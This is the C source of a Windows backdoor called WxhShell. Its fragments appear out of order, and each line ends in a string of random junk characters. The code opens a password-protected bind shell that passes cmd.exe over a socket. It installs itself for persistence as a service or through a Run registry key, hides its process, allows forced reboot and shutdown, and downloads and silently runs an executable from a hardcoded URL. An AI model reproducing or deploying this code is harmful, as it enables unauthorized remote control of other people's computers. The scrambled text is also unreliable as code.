    if(Boot(SHUTDOWN)) ]@uE #a:[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |g #K]v  
    else { ^go7_y  
    closesocket(wsh); 4g : >[q  
    ExitThread(0); 5e$~)fL  
    } F8;dKyT?q  
    break; wvbPnf^y  
    } e XfZ5(na  
  // 获取shell 7VMvF/ap]u  
  case 's': { zgs(Dt;  
    CmdShell(wsh); g>dA$h%  
    closesocket(wsh); *M$0J'-BQ  
    ExitThread(0); gF$V$cU  
    break; n@U n  
  } f}1&HI8r  
  // 退出 :{IO=^D=$  
  case 'x': { l-ct?T_@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &_"]5/"(  
    CloseIt(wsh); ]`&Yqg  
    break; B x (uRj  
    } H63,bNS s  
  // 离开 _T2=J+"-Kp  
  case 'q': { )('%R|$ /  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Gm(b/qDDe  
    closesocket(wsh); Kj<^zo%w  
    WSACleanup();  ^}:#  
    exit(1); GDD '[;  
    break; .h9l7 nZt  
        } ")V130<  
  } b|+wc6   
  } 'B@e8S) y  
Y]L9Y9  
  // 提示信息 iVG-_RsKK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^my].Qpt  
} *cC_j*1@  
  } rFC" Jx  
=:/BV=tv  
  return; !"<MsoY@  
} e 46/{4F,  
< V\I~;  
// shell模块句柄 (rkU)Q  
int CmdShell(SOCKET sock) wc!onZX5  
{ 'JNElXqrv  
STARTUPINFO si; {W]=~*w  
ZeroMemory(&si,sizeof(si)); ]79:yMD~ba  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ox%9Ph  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N_pJk2E  
PROCESS_INFORMATION ProcessInfo; 1qf!DMcdZ  
char cmdline[]="cmd"; (iR ide  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tl><"6AIP  
  return 0; Clh!gpB c  
} <<i3r|}  
BQ @huns3  
// 自身启动模式 T'LIrf  
int StartFromService(void) sgO'wXcoP  
{ +reor@h  
typedef struct ~i21%$  
{ i:u1s"3~  
  DWORD ExitStatus; Rr!Y3)f;  
  DWORD PebBaseAddress; D<V~f B  
  DWORD AffinityMask; =e8bNg  
  DWORD BasePriority; 2'5]~  
  ULONG UniqueProcessId; vq!_^F<  
  ULONG InheritedFromUniqueProcessId; 7f~Sf  
}   PROCESS_BASIC_INFORMATION; _L@2_#h!  
*P#WDXRwd  
PROCNTQSIP NtQueryInformationProcess; ?}m']4p  
Q4*fc^?u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jq+A-T}@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,:`ND28V7  
JB>b`W9   
  HANDLE             hProcess; A0fFv+RN3  
  PROCESS_BASIC_INFORMATION pbi; (sQr X{~  
I(9R~q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "h|'}7p  
  if(NULL == hInst ) return 0; 9Ffp2NW`;  
;q:jl~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?gwUwOV"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !vk|<P1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mWyqG*-Hb  
#vzEu )Ul  
  if (!NtQueryInformationProcess) return 0; !YP@m~  
n_B"- n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *FmTy|  
  if(!hProcess) return 0; 8X I?  
IN,(y aC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m\ddp_l  
Dc+'<"  
  CloseHandle(hProcess); <a[Yk 2  
P|HKn,ar  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i,|0@Vy  
if(hProcess==NULL) return 0; OQ,NOiNkap  
?_v{| YI=  
HMODULE hMod; aDehqP6vf  
char procName[255]; @c ~)W8  
unsigned long cbNeeded; RGK8'i/X  
^mb[j`CCt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^1wA:?uN}  
r%e KFS  
  CloseHandle(hProcess); XfKo A0  
V~ TWKuR  
if(strstr(procName,"services")) return 1; // 以服务启动 TO-nD>  
,:%"-`a%  
  return 0; // 注册表启动 P<Zh XN'  
} lw :`M2P,  
MCT'Nw@A  
// 主模块 qVdwfT{1J  
int StartWxhshell(LPSTR lpCmdLine) B}eA\O4}I  
{ UK{irU|\  
  SOCKET wsl; -_<}$9lz  
BOOL val=TRUE; |Xw/E)jA  
  int port=0; '}rRzD:  
  struct sockaddr_in door; t#S<iBAZ  
ay %KE=*v  
  if(wscfg.ws_autoins) Install(); <&!v1yR  
7Su#Je]  
port=atoi(lpCmdLine); *A~ G_0B  
;3 F"TH  
if(port<=0) port=wscfg.ws_port; >+mD$:L  
FVKW9"AyW  
  WSADATA data; 8&Myva  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &bhq`>  
h1(j2S`:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uK'&Dam  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !gLkJ)  
  door.sin_family = AF_INET; LPwT^zV&N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {>"NyY  
  door.sin_port = htons(port); n3lE, b  
?X-)J=XG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kvh&d|  
closesocket(wsl); z`Hy'{1  
return 1; )~V4+*<  
} X{^}\,cVtG  
TyKWy0x-3  
  if(listen(wsl,2) == INVALID_SOCKET) { .^bft P\  
closesocket(wsl); Pub0IIs  
return 1; 87WBM;$&s  
} m{7^EF  
  Wxhshell(wsl); yi^b)2G  
  WSACleanup(); 'SYo_!  
r|*&GHo L  
return 0; ql GW.jY.  
jAh2N3)  
} 1.D-FPK  
CdUAy|!`R  
// 以NT服务方式启动 N-g8}03  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?DH"V7bs  
{ uHIiH@ S  
DWORD   status = 0; KIeT!kmDl  
  DWORD   specificError = 0xfffffff; 5*\\J&H  
kSc{^-<R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^ZM0c>ev=l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2S8P}$mM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O,<IGO  
  serviceStatus.dwWin32ExitCode     = 0; O'GG Ti]e  
  serviceStatus.dwServiceSpecificExitCode = 0; F3oQ^;xB  
  serviceStatus.dwCheckPoint       = 0; +f0~D(d!_  
  serviceStatus.dwWaitHint       = 0; +x]9+D&  
azP+GM=i7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >2 3-  
  if (hServiceStatusHandle==0) return; /j"sS2$U  
^>?CMcN4*  
status = GetLastError(); AkU<g  
  if (status!=NO_ERROR) ?%O3Oi Xz  
{ 9e U[*S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _al|'obomy  
    serviceStatus.dwCheckPoint       = 0; L'i-fM[#  
    serviceStatus.dwWaitHint       = 0; 7DKz;o  
    serviceStatus.dwWin32ExitCode     = status; )s9',4$eK<  
    serviceStatus.dwServiceSpecificExitCode = specificError; lZ&]|*>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @FN*TJ  
    return; `O^G5 0  
  } =o p%8NJf  
WS2os Bc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^Cv^yTj;&  
  serviceStatus.dwCheckPoint       = 0; Gq#~vr  
  serviceStatus.dwWaitHint       = 0; !TAp+b  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f&4,?E;6%  
} ];+#i"l  
65,(4Udz!  
// 处理NT服务事件,比如:启动、停止 J wmT /  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h5kPn~  
{ /$"[k2 N  
switch(fdwControl) QFPfIb/  
{ O;HY%  
case SERVICE_CONTROL_STOP: GO! uwo:  
  serviceStatus.dwWin32ExitCode = 0; N:VX!w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W YW|P2*  
  serviceStatus.dwCheckPoint   = 0; o$.e^XL  
  serviceStatus.dwWaitHint     = 0; r,(e t  
  { nsb4S {  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I1U7.CT  
  } 6 fz}  
  return; k;dXOn  
case SERVICE_CONTROL_PAUSE: z5Qs @dG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XA_FOw!cX  
  break; /q\_&@  
case SERVICE_CONTROL_CONTINUE: ~n!!jM:N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M!M!Ni  
  break; G+*cpn  
case SERVICE_CONTROL_INTERROGATE: f DgD@YCD  
  break; %m{U& -(l@  
}; kJs^ z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i;PL\Er:tX  
} ]>i~6!@  
jx_4B%kzq  
// 标准应用程序主函数 jY!ZkQsVe  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $mA5@O~C5\  
{ IB9%QW"0  
nL]^$J$  
// 获取操作系统版本  17g^ALs  
OsIsNt=GetOsVer();  1;eX&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Cup@TET35  
t>UkE9=3\  
  // 从命令行安装 o**yZ2  
  if(strpbrk(lpCmdLine,"iI")) Install(); P`1EPF  
sTHq&(hLUG  
  // 下载执行文件 o=fgin/E\  
if(wscfg.ws_downexe) { ;%q39U}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _'x8M  
  WinExec(wscfg.ws_filenam,SW_HIDE); R@T6U:1  
} +:jT=V"X  
[IM%b~j(^  
if(!OsIsNt) { O,V9R rG  
// 如果时win9x,隐藏进程并且设置为注册表启动 #6S75{rnW"  
HideProc(); MN= sIP,zk  
StartWxhshell(lpCmdLine); JbQZ!+  
} a?cn9i)#  
else 5iFV;W  
  if(StartFromService()) VFD%h }  
  // 以服务方式启动 KT*:F(4`  
  StartServiceCtrlDispatcher(DispatchTable); X}4}&  
else nw'-`*'rj  
  // 普通方式启动 CidM(  
  StartWxhshell(lpCmdLine); _.18z+  
SjcL#S($&Y  
return 0; BZ+-p5]-  
} r;cV&T/?  
R -elIp  
:_dICxaLZT  
ySN V^+  
=========================================== DhKr;e  
rE!1wc>L  
&b C}3D  
&w~Xa( uu  
73NZ:h%=  
FY;+PY@I{  
" >X Qv?5  
,qFA\cO*  
#include <stdio.h> ~0tdfK0c  
#include <string.h> yDd[e]zS`  
#include <windows.h> 1-;?0en&0  
#include <winsock2.h> jPu5nwvUV>  
#include <winsvc.h> =LH}YUmd  
#include <urlmon.h> udqge?Tz  
aSnp/g  
#pragma comment (lib, "Ws2_32.lib") CUmH,`hu  
#pragma comment (lib, "urlmon.lib") 89eq[ |G_  
$G?(OWI}l`  
#define MAX_USER   100 // 最大客户端连接数 %|Hp Bs#'  
#define BUF_SOCK   200 // sock buffer ~\_T5/I%  
#define KEY_BUFF   255 // 输入 buffer jD< pIHau  
H"YL k  
#define REBOOT     0   // 重启 j64 4V|z  
#define SHUTDOWN   1   // 关机 $@[)nvV\  
=q CF%~  
#define DEF_PORT   5000 // 监听端口 D,W\ gP/h%  
mb\t/p  
#define REG_LEN     16   // 注册表键长度 'wQy]zm$  
#define SVC_LEN     80   // NT服务名长度 ] V G?+  
saK;[&I*  
// 从dll定义API (ppoW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a>Re^GT+z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b&t[S[P.V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2>y:N.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $Lq:=7&LRn  
F,Fo}YQX  
// wxhshell配置信息 V2`;4dX*2  
struct WSCFG { :k"rhI  
  int ws_port;         // 监听端口 $AwZ2HY  
  char ws_passstr[REG_LEN]; // 口令 03E3cp"  
  int ws_autoins;       // 安装标记, 1=yes 0=no C!UEXj`l9  
  char ws_regname[REG_LEN]; // 注册表键名 1MQ/ r*(  
  char ws_svcname[REG_LEN]; // 服务名 D zDj)7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U~QMR-bz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 23E 0~O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5d 5t9+t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O3_B<Em  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" co]Gmg6p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Va9q`XbyO  
V<0$xV1b|=  
}; d(l|hmj4j9  
i:Mc(mW  
// default Wxhshell configuration l BiovT  
struct WSCFG wscfg={DEF_PORT, ep?:;98|t  
    "xuhuanlingzhe", 0$Ff#8  
    1, t"YIq/08  
    "Wxhshell", d^aNR Lv  
    "Wxhshell", Y+|PY? ~  
            "WxhShell Service", 0 BC`iql5  
    "Wrsky Windows CmdShell Service", Mvof%I  
    "Please Input Your Password: ", NWISS  
  1, [ -12]3  
  "http://www.wrsky.com/wxhshell.exe", [h", D5  
  "Wxhshell.exe" *)%dXVf  
    }; &:8T$U V  
GVObz?Z]SB  
// 消息定义模块 &:auB:b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9t }xXk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8eww7k^R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G2@KI-  
char *msg_ws_ext="\n\rExit."; a/e\vwHLv  
char *msg_ws_end="\n\rQuit."; ;eR{tH /4  
char *msg_ws_boot="\n\rReboot..."; (5(fd.m+_  
char *msg_ws_poff="\n\rShutdown..."; s`Vf+ l0  
char *msg_ws_down="\n\rSave to "; x(6vh2#vD  
 1~EO+  
char *msg_ws_err="\n\rErr!"; <JH9StGGc?  
char *msg_ws_ok="\n\rOK!"; twv lQ|  
YX `%A6  
char ExeFile[MAX_PATH]; 4<yK7x  
int nUser = 0; '^1o/C  
HANDLE handles[MAX_USER]; %gTVW!q  
int OsIsNt; $[Q cEk  
sX~45u \  
SERVICE_STATUS       serviceStatus; $ 'u \B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Iv1c4"  
ohTd'+Lm  
// 函数声明 C 38XQLC  
int Install(void); `(T!>QVW+g  
int Uninstall(void); 4 m $sJ  
int DownloadFile(char *sURL, SOCKET wsh); SY8U"Qc;9  
int Boot(int flag); R9E6uz.j  
void HideProc(void); `t9.xB#Z  
int GetOsVer(void); b6Xi  
int Wxhshell(SOCKET wsl); nk>8SW^  
void TalkWithClient(void *cs); q (1r<2  
int CmdShell(SOCKET sock); _=T]PSauI  
int StartFromService(void); M\jB)@)  
int StartWxhshell(LPSTR lpCmdLine);  3se$,QmN  
H oS|f0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5%qH 7[dx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \!7*(&yly  
C$ hQN  
// 数据结构和表定义 nr<.YeJ  
SERVICE_TABLE_ENTRY DispatchTable[] = M/)B" q  
{ *s36O F!  
{wscfg.ws_svcname, NTServiceMain}, 1O9$W?)Q  
{NULL, NULL} , #Ln/;  
}; F#^L9  
M)tv;!eQ  
// 自我安装 Bpas[2gYC  
int Install(void) +yIL[D  
{ P09,P  
  char svExeFile[MAX_PATH]; +<B|qcT!  
  HKEY key; /[L)tj7B  
  strcpy(svExeFile,ExeFile); lG < yJ~{  
\3: L Nt  
// 如果是win9x系统,修改注册表设为自启动 s/PhXf\MN  
if(!OsIsNt) { fT x4vlI4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ] EV`dIk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~RCg.&[ou  
  RegCloseKey(key); M0 L-u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7>KQRLw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fi/jR0]e2  
  RegCloseKey(key); [{/$9k-aF?  
  return 0; )ZeLaaP  
    } 79a9L{gso  
  } ^K/G5  
} ofl'G]/$+  
else { >Ban?3{  
l)%mqW%  
// 如果是NT以上系统,安装为系统服务 ' me:Zd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LAos0bc)w\  
if (schSCManager!=0) .c|9..Cq=  
{ OU6^+Ta  
  SC_HANDLE schService = CreateService 2\ ,e  
  ( CY5w$E  
  schSCManager, oM2|]ew)  
  wscfg.ws_svcname, *n;>p_#  
  wscfg.ws_svcdisp, ` )]lUvR  
  SERVICE_ALL_ACCESS, tz3]le|ml  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m.Twgin  
  SERVICE_AUTO_START, %L28$c3p  
  SERVICE_ERROR_NORMAL, u5/t2}^T  
  svExeFile, r /^'Xj'(  
  NULL, D|"sE>  
  NULL, @N]5&4NL  
  NULL, V3 qT<}y|  
  NULL, >Rr!rtc'x  
  NULL 4u7Cm  
  ); *qbRP"#[$  
  if (schService!=0) { q})kO  
  { i5Eeg`NMl  
  CloseServiceHandle(schService); )'=V!H#U*  
  CloseServiceHandle(schSCManager); _J` |<}?t;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); > Z]P]e  
  strcat(svExeFile,wscfg.ws_svcname); #*+;B93 )  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gfx oJihE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]u~Os<   
  RegCloseKey(key); W.z$a.<(rF  
  return 0; fHLFeSfH  
    } >2nF"?"=  
  } 7Onk!NH  
  CloseServiceHandle(schSCManager); 3V"dG1?  
} ^z38<L=z"  
} zv`zsqDJ  
CJ0$;et  
return 1; nhp)yW  
} x Ridc^  
?-4OfGN  
// 自我卸载 2$iw/ r  
int Uninstall(void) QZ#3Bn%B5  
{ :l4^iSf  
  HKEY key; cxL,]27Bu  
s87 a %  
if(!OsIsNt) { ,!jR:nApE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <` #,AVH  
  RegDeleteValue(key,wscfg.ws_regname); f(^33k  
  RegCloseKey(key); ^NY+wR5Sn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <\+Po<)3j  
  RegDeleteValue(key,wscfg.ws_regname); fmtuFr^a1  
  RegCloseKey(key); yY'gx|\  
  return 0; pb~Ps#"Zg  
  } /7.wQeL9  
} is64)2F](  
} #)Ep(2  
else { )iT.A  
)~1.<((<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nR(#F9  
if (schSCManager!=0) mi*:S%;h  
{ XSD"/_xD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Fp wlV}:  
  if (schService!=0) ZCj>MA  
  { *oKgP8CF  
  if(DeleteService(schService)!=0) { IvPA|8(  
  CloseServiceHandle(schService); B8`R(vu;  
  CloseServiceHandle(schSCManager); -Mr{+pf  
  return 0; -$xKv4  
  } MoZU(j  
  CloseServiceHandle(schService); e|S+G6 :O2  
  } B 9%yd*SJ  
  CloseServiceHandle(schSCManager); =ltbSf7  
} TXA. 6e  
} H't`Q&]a  
GjG{qR  
return 1; c& 9+/JYMo  
} [3Wsc`Q  
rOs)B21/  
// 从指定url下载文件 ?IL! X-xx  
int DownloadFile(char *sURL, SOCKET wsh) Sn;/;^@(\  
{ n%7A;l!{  
  HRESULT hr; ?,.HA@T%  
char seps[]= "/"; B)_!F`9  
char *token; E|KLK4 ]  
char *file; BnY\FQ)K  
char myURL[MAX_PATH]; V5hp Y ]  
char myFILE[MAX_PATH]; ?FkQe~FN{  
N:m@D][/sW  
strcpy(myURL,sURL); <|mE9u  
  token=strtok(myURL,seps); 9{au leu R  
  while(token!=NULL) BiVd ka  
  { =e"H1^Ml  
    file=token; AT2NC6{M  
  token=strtok(NULL,seps); 8 /:X& &  
  } mBYS"[S(  
{s9y@c*15.  
GetCurrentDirectory(MAX_PATH,myFILE); : OS mr  
strcat(myFILE, "\\"); Dx9$H++6$X  
strcat(myFILE, file); | 7t=\  
  send(wsh,myFILE,strlen(myFILE),0); ,Y78Q  
send(wsh,"...",3,0); w*|=k~z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Sn{aHH  
  if(hr==S_OK) n_e}>1_  
return 0; mtiO7w"M\7  
else ' lQ  
return 1; 3j[w -Lfp  
#n6FQ$l8m  
} hlABu)B'1  
j TB<E=WC  
// 系统电源模块 %fex uy4  
int Boot(int flag) wN/*|?`Z  
{ 7]<F>97  
  HANDLE hToken; vV$hGS(f~  
  TOKEN_PRIVILEGES tkp; p*(U*8Q  
M ,.0[+  
  if(OsIsNt) { )'/nS$\E:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -Z[R S{#+T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s[vPH8qb  
    tkp.PrivilegeCount = 1; vTe$77n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >*<6 zQf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +73=2.C0  
if(flag==REBOOT) { =:ya;k&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,?7xb]h  
  return 0; ai<MsQQ:=  
} FVvv   
else { 'p|Iwtjn>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oF 1W}DtA  
  return 0; mE3SiR "  
} O>tC]sm%  
  } gKm@B{rC  
  else { 0C"PC:h5  
if(flag==REBOOT) { 7Y_fF1-wY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m=("N  
  return 0; Sm*Jysy`  
} H L}sqcp  
else { o[Wagg.%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G{&yzHAuae  
  return 0; Mo?t[]L   
} c"QkE*  
} Bp=oTC G  
priT 7!  
return 1; e$FAhwpon  
} n '0 $>Q  
5pKvNLy.t  
// win9x进程隐藏模块 oZ\qT0*eb  
void HideProc(void) kL2Zr  
{  '!r+Tz  
Jfixm=.6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9FIe W[  
  if ( hKernel != NULL ) jU3;jm.)  
  { |4?}W ,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c],frhmyd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 67K RM(S  
    FreeLibrary(hKernel); 9$\;voo  
  } Gn2bZ%l  
&ttv4BC^r  
return; ^! v}  
} XYxm8ee"j  
s&QBFyKtJ  
// 获取操作系统版本 &Curvc1fm  
int GetOsVer(void) TJ%]{%F  
{ q|]0on~ ]  
  OSVERSIONINFO winfo; foP>w4pB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U_ ?elz\  
  GetVersionEx(&winfo); ,SE$Rh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DS,FVh".|  
  return 1; #ejw@bd  
  else Jv4D^>yj[  
  return 0; :+%h  
} 5sh u76  
33,JUQ2u  
// 客户端句柄模块 !7"K>m<  
int Wxhshell(SOCKET wsl) 5qtmb4R~  
{ EV?47\ ~  
  SOCKET wsh; ZR01<V  
  struct sockaddr_in client; R6WgA@Z|r  
  DWORD myID; ah!O&ECh  
]zwqGA  
  while(nUser<MAX_USER) #()cG  
{ k1$2a8 ja  
  int nSize=sizeof(client); |q.:hWYFpM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2dd:5L,  
  if(wsh==INVALID_SOCKET) return 1; Jn <^Q7N  
7)(`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pJ*#aH[ySP  
if(handles[nUser]==0) Oih2UrF  
  closesocket(wsh); AZ9\>U@hD  
else %3l;bR>  
  nUser++; U)I `:J+A  
  } C +?@iMh  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D8D!16_  
eDM0417O(  
  return 0; ";S*[d.2tA  
} ~q_+;W.  
@y\{<X.F\1  
// 关闭 socket vo( j@+dz  
void CloseIt(SOCKET wsh) ?lwQne8/  
{ moJT8tb  
closesocket(wsh); y'2kV6TtqD  
nUser--; M6hvi(!X2  
ExitThread(0); :@@A  
} 1-NX>E5  
dj'8x48H2W  
// 客户端请求句柄  n wZr3r  
void TalkWithClient(void *cs) ,<P[CUD&&  
{ sc $QbOc  
#!d^3iB2  
  SOCKET wsh=(SOCKET)cs; R$;&O. 5M  
  char pwd[SVC_LEN]; YT(1 "{:  
  char cmd[KEY_BUFF]; 9X {nJ"  
char chr[1]; UK <DcM~n  
int i,j; L5k>;|SA  
(8-lDoW  
  while (nUser < MAX_USER) { 0-~6} r$  
o? O,nD 6  
if(wscfg.ws_passstr) { ^B!?;\4IM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C8W`Oly:]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AIxBZt7{b  
  //ZeroMemory(pwd,KEY_BUFF); gUszMhHX  
      i=0; \Af|$9boHz  
  while(i<SVC_LEN) { f~"V  
xE-c9AH  
  // 设置超时 v.LUK  
  fd_set FdRead; wAOVH].  
  struct timeval TimeOut; nM.?Q}yO~  
  FD_ZERO(&FdRead); Nj-rZ%&  
  FD_SET(wsh,&FdRead); c.{&~  
  TimeOut.tv_sec=8; h. (;GJO  
  TimeOut.tv_usec=0; cD`O+WA2K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Gx a.<E^k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BfE-s<  
-J7,Nw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c'#J{3d  
  pwd=chr[0]; @Rb1)$~#  
  if(chr[0]==0xd || chr[0]==0xa) { pOI`,i}.  
  pwd=0; 6p=xgk-q  
  break; !4,xQ ^   
  } )(!Z90@  
  i++; 7CL@i L Tq  
    } g&F<Uv#mZ  
A{Htpm~  
  // 如果是非法用户,关闭 socket )>M@hIV5>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '-]BSU  
} qddT9U|8~  
%V1T !<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j% USu+&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8(/f!~  
P~ pbx  
while(1) { 07"Oj9NlA  
W]}V<S$  
  ZeroMemory(cmd,KEY_BUFF); ;ld~21#m  
2[&-y[1  
      // 自动支持客户端 telnet标准   $~@096`QL<  
  j=0; !@Vp Bl  
  while(j<KEY_BUFF) { -zLI!F 0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {i}Q}OgYq  
  cmd[j]=chr[0]; ftU5 A@(T  
  if(chr[0]==0xa || chr[0]==0xd) { Hr*Pi3dSI  
  cmd[j]=0; YB3=ij!K  
  break; s1\BjSzk  
  } M Hyl=5  
  j++; d~Ry>   
    } bl>b/u7/6  
|j}F$*SE[  
  // 下载文件 ,Y8X"~{A  
  if(strstr(cmd,"http://")) { h5JwB<8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N b[o6AX  
  if(DownloadFile(cmd,wsh)) ~rX6owBq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %e<dV\x?T  
  else qq_,"~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^`MDP`M;  
  } ViT 5Jn7  
  else { FY S83uq0  
[=F |^KL  
    switch(cmd[0]) { Jo$Dxa z  
  6SO7iFS  
  // 帮助 6%INNIyAWa  
